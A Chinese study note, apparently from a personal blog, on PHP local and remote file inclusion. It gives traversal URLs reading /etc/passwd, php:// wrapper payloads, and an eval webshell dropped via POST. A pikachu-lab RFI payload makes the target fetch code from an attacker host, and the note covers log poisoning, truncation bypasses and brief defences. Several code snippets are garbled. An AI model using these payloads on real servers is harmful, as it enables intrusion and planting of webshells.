文件包含笔记
学习文件包含的笔记。
文件包含分为
- LFI本地文件包含
- RFI远程文件包含
文件包含
LFI
LFI是本地文件包含漏洞,本地文件包含漏洞是指只能包含本机文件的文件包含漏洞,当Web应用程序未合理的包含一个文件时,存在此漏洞。攻击者可以控制输入注入路径遍历字符或服务器上其他文件进行攻击。文件包含不在意包含文件的后缀名,只要检测包含文件的内容中有php代码,就会以php方式解析执行。这也是能利用文件包含包含图片马的原因。
LFI漏洞很容易识别,比如:
1 | https://tryhackme.com/?file=robots.txt |
以及:
1 | /lfi.php?file=index.html |
所以我们可以通过操作文件位置来利用,比如:
1 | http://127.0.0.1/home?page=../../../../etc/passwd |
以此来访问系统上的/etc/passwd/
文件.
漏洞的起因在于
- include()等函数通过动态变量的方式引入需要包含的文件,然后该变量能被用户控制。
最简单的存在LFI漏洞代码
1 |
|
RFI
RFI就是远程文件包含。
需要目标服务器打开allow_url_include
配置,这个配置项是默认关闭的。
漏洞危害
- 敏感信息泄露(相对路径&绝对路径都可以
- 获取webshell
- 直接一句话
- 使用fwrite或fputs生成一句话
- 日志文件中毒
- 任意命令执行
后端限制
如果后端限制了包含文件的后缀名(自动给输入的变量加上一个后缀(.html或.php)什么的,这时可以使用00截断。
php伪协议
file://
用法:
1 | file://[文件的绝对路径] |
如:
1 | http://127.0.0.1/home.php?page=file:///etc/passwd |
php://filter
常用于读取文件/源码。
不用base64编码直接使用的时候,不能查看源码。用法如下:
1 | http://127.0.0.1/home.php?page=php://filter/read=convert.base64-encode/resource=./config.php 查看文件的源代码 |
php://input
input会把post的代码当作php脚本来执行,所以要抓包post恶意php代码。
抓包在post中输入
1 | 'shell.php','w'),'<?php eval($_POST[a])?>') fwrite(fopen( |
如果能使用php://input
伪协议,但是不能生成文件怎么直接用菜刀/蚁剑getshell?
菜刀:
这办法只有菜刀能用。
蚁剑:
这办法菜刀也能用。
post的参数都可以丢到连接密码里。
zip伪协议
zip伪协议
利用zip读取压缩包的文件,解压的压缩包后缀是什么没关系.
zip://绝对路径/压缩包文件名%23被压缩文件的文件名(%23是#
)
伪协议总结
协议 | php版本 | allow_url_fopen | allow_url_include | 用法 |
---|---|---|---|---|
file:// | >=5.2 | off/on | off/on | ?page=file:///etc/passwd |
php://filter | >=5.2 | off/on | off/on | ?page=php://filter/read=convert.base64-encode/resource=./config.php |
php://input | >=5.2 | off/on | on | ?page=php://input [post] ‘)?> |
zip:// | >=5.2 | off/on | off/on | ?page=zip:///var/www/html/upload/file.zip%23phpcode.txt |
bzip2:// | >=5.2 | off/on | off/on | |
zlib:// | >=5.2 | off/on | off/on | |
data:// | >=5.2 | on | on | ?page=data://text/plain, |
获取webshell
包含图片马
文件包含不在意包含的文件的后缀名字,只要检测到php代码则会以php方式解析
LFI日志文件中毒
如果能访问目标系统的apache
日志,那么我们可以考虑使用这个日志文件中毒的方式来执行系统命令,或插入一句话。
日志文件中毒要求对目录应该具有读和执行权限。
使用日志文件中毒执行系统命令ls /var/www/html/lfi
命令,注意要使用url编码将空格和斜杠转义。
插入一句话
RFI包含生成一句话
目标机器:192.168.40.133,存在远程包含文件漏洞(靶场pikachu
目标漏洞url:http://192.168.40.133/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile2.php&submit=Submit
利用方式:将filename=include...
处修改为:filename={攻击机器的url}/{生成一句话的文件的文本}
例如我的攻击机上面的文件为:newshell.php内容为
1 | 'czxcshell.php','a+'),'<?php eval($_POST[a])?>'); fputs(fopen( |
想让这个文件成功的被包含,那么就要将这这个newshell.php
改名为newshell.txt
再包含。最后构造的payload为
1 | http://192.168.40.133/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.40.123/newshell.txt&submit=Submit |
现在尝试访问该路径下的czxshell.php
这里不改名也行,只要你的网站没有php环境就可以了。
绕过方式
限制特定字符
如果限制了特定的文件字符的话,如
http://127.0.0.1/?page=cat
如果服务器限制了只能输入cat和dog的话.恰巧又有一个dogs的目录那就
http://127.0.0.1/?page=./cats/../flag.txt
%00截断
00截断是利用了php的一个漏洞。漏洞编号为CVE-2015-2348
。使用前提要求较为严格。
- 服务器
php
版本小于5.3
- 魔术引号
gpc
处于关闭状态 - 要求上传路径可控
在url最后加入%00截断
./截断
利用多个英文句号(.)和反斜杆(/)来截断。不受GPC限制,但是在PHP5.3之后被修复
?伪截断
这个使用要求也是很严格的。要求可以远程文件包含,但是远程文件包含的配置项一般是默认关闭的。本地包含使用伪截断是不会成功的。
文件代码:
1 |
|
构造的payload
1 | http://192.168.40.123/?module=http://localhost/yjh.php? |
都能远程包含了为什么还要伪截断..直接包含远程的inc文件不就好了吗…:(
防御方式
- 设置白名单
- 过滤危险字符
- 关闭危险配置
- allow_url_include=off